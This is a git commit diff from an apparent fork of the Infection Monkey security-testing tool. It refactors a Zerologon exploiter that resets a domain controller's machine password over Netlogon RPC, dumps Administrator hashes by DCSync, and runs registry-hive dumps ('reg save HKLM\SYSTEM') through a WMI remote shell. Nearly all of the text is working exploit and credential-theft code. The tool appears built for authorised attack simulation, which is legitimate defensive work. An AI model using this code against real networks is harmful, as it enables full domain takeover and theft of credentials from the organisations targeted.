forked from p15670423/monkey
More CR changes
TODO: - impacket license - get pwd for some other users if 'Administrator' doesn't exist (and save all users' creds?) - unit tests
This commit is contained in:
parent
0866aee2cf
commit
0992e276b4
|
@ -19,7 +19,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
|
|||
OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.zerologon_finger = ZerologonFinger()
|
||||
self.exploit_info['credentials'] = {}
|
||||
|
||||
def _exploit_host(self) -> Optional[bool]:
|
||||
def _exploit_host(self) -> bool:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||
|
||||
if self.is_exploitable():
|
||||
|
@ -49,7 +49,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
return False
|
||||
|
||||
# Start exploiting attempts.
|
||||
LOG.debug("Attempting exploit.")
|
||||
|
@ -58,12 +58,15 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con.disconnect()
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
_exploited = False
|
||||
LOG.info("Exploit not attempted. "
|
||||
"Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.")
|
||||
return False
|
||||
|
||||
# Restore DC's original password.
|
||||
if _exploited:
|
||||
if self.restore_password():
|
||||
is_pwd_restored, restored_pwd_hashes = self.restore_password()
|
||||
if is_pwd_restored:
|
||||
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
|
||||
LOG.info("System exploited and password restored successfully.")
|
||||
else:
|
||||
LOG.info("System exploited but couldn't restore password!")
|
||||
|
@ -75,32 +78,34 @@ class ZerologonExploiter(HostExploiter):
|
|||
def is_exploitable(self) -> bool:
|
||||
if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
|
||||
return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
|
||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||
else:
|
||||
is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle,
|
||||
dc_ip=self.dc_ip,
|
||||
dc_name=self.dc_name)
|
||||
return is_vulnerable
|
||||
|
||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]:
|
||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
result_exploit_attempt = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||
|
||||
if result_exploit_attempt is not None:
|
||||
if result_exploit_attempt['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
||||
return _exploited
|
||||
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||
if is_exploited:
|
||||
return is_exploited
|
||||
|
||||
return False
|
||||
|
||||
def try_exploit_attempt(self, rpc_con):
|
||||
try:
|
||||
exploit_attempt_result = self.attempt_exploit(rpc_con)
|
||||
return exploit_attempt_result
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
def attempt_exploit(self, rpc_con: object) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
|
@ -121,10 +126,25 @@ class ZerologonExploiter(HostExploiter):
|
|||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['Authenticator'] = authenticator
|
||||
|
||||
def restore_password(self) -> Optional[bool]:
|
||||
def assess_exploit_attempt_result(self, exploit_attempt_result):
|
||||
if exploit_attempt_result:
|
||||
if exploit_attempt_result['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
||||
return _exploited
|
||||
|
||||
def restore_password(self) -> (Optional[bool], List[str]):
|
||||
LOG.info("Restoring original password...")
|
||||
|
||||
try:
|
||||
admin_pwd_hashes = None
|
||||
rpc_con = None
|
||||
|
||||
# DCSync to get Administrator password's hashes.
|
||||
LOG.debug("DCSync; getting Administrator password's hashes.")
|
||||
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
||||
|
@ -133,7 +153,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
# Use Administrator password's NT hash to get original DC password's hashes.
|
||||
LOG.debug("Getting original DC password's NT hash.")
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
|
||||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||
|
||||
|
@ -142,7 +162,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
return False, admin_pwd_hashes
|
||||
|
||||
# Start restoration attempts.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
|
@ -150,16 +170,17 @@ class ZerologonExploiter(HostExploiter):
|
|||
if not _restored:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
||||
return _restored
|
||||
return _restored, admin_pwd_hashes
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
return None, admin_pwd_hashes
|
||||
|
||||
finally:
|
||||
if rpc_con:
|
||||
rpc_con.disconnect()
|
||||
|
||||
def get_admin_pwd_hashes(self) -> str:
|
||||
def get_admin_pwd_hashes(self) -> List[str]:
|
||||
try:
|
||||
options = OptionsForSecretsdump(
|
||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
|
@ -173,8 +194,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
user = 'Administrator'
|
||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
return hashes # format - [lmhash, nthash]
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||
|
@ -258,9 +278,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
output_captor = StdoutOutputCaptor()
|
||||
output_captor = StdoutCapture()
|
||||
output_captor.capture_stdout_output()
|
||||
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
|
@ -300,23 +319,30 @@ class ZerologonExploiter(HostExploiter):
|
|||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
|
||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]:
|
||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
result_restoration_attempt = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
|
||||
|
||||
if result_restoration_attempt:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
|
||||
if is_restored:
|
||||
return is_restored
|
||||
|
||||
return False
|
||||
|
||||
def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool:
|
||||
try:
|
||||
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
||||
return restoration_attempt_result
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
return False
|
||||
|
||||
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
|
||||
plaintext = b'\x00'*8
|
||||
|
@ -357,6 +383,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
return rpc_con
|
||||
|
||||
def assess_restoration_attempt_result(self, restoration_attempt_result):
|
||||
if restoration_attempt_result:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
|
||||
|
||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||
opnum = 6
|
||||
|
|
|
@ -7,7 +7,7 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
|||
SAMHashes)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -53,7 +53,7 @@ class DumpSecrets:
|
|||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
output_captor = StdoutOutputCaptor()
|
||||
output_captor = StdoutCapture()
|
||||
output_captor.capture_stdout_output()
|
||||
|
||||
dumped_secrets = ''
|
||||
|
|
|
@ -30,19 +30,11 @@ class ZerologonFinger(HostFinger):
|
|||
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||
|
||||
LOG.info('Performing Zerologon authentication attempts...')
|
||||
rpc_con = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
break
|
||||
auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name)
|
||||
|
||||
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
||||
|
||||
if rpc_con:
|
||||
if auth_successful:
|
||||
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||
return True
|
||||
|
@ -73,6 +65,18 @@ class ZerologonFinger(HostFinger):
|
|||
except BaseException as ex:
|
||||
LOG.info(f'Exception: {ex}')
|
||||
|
||||
def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool:
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
||||
if rpc_con is not None:
|
||||
rpc_con.disconnect()
|
||||
return True
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
return False
|
||||
return False
|
||||
|
||||
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||
# Connect to the DC's Netlogon service.
|
||||
rpc_con = self.connect_to_dc(dc_ip)
|
||||
|
|
|
@ -2,7 +2,7 @@ import io
|
|||
import sys
|
||||
|
||||
|
||||
class StdoutOutputCaptor:
|
||||
class StdoutCapture:
|
||||
def __init__(self):
|
||||
_orig_stdout = None
|
||||
_new_stdout = None
|
||||
|
|
Loading…
Reference in New Issue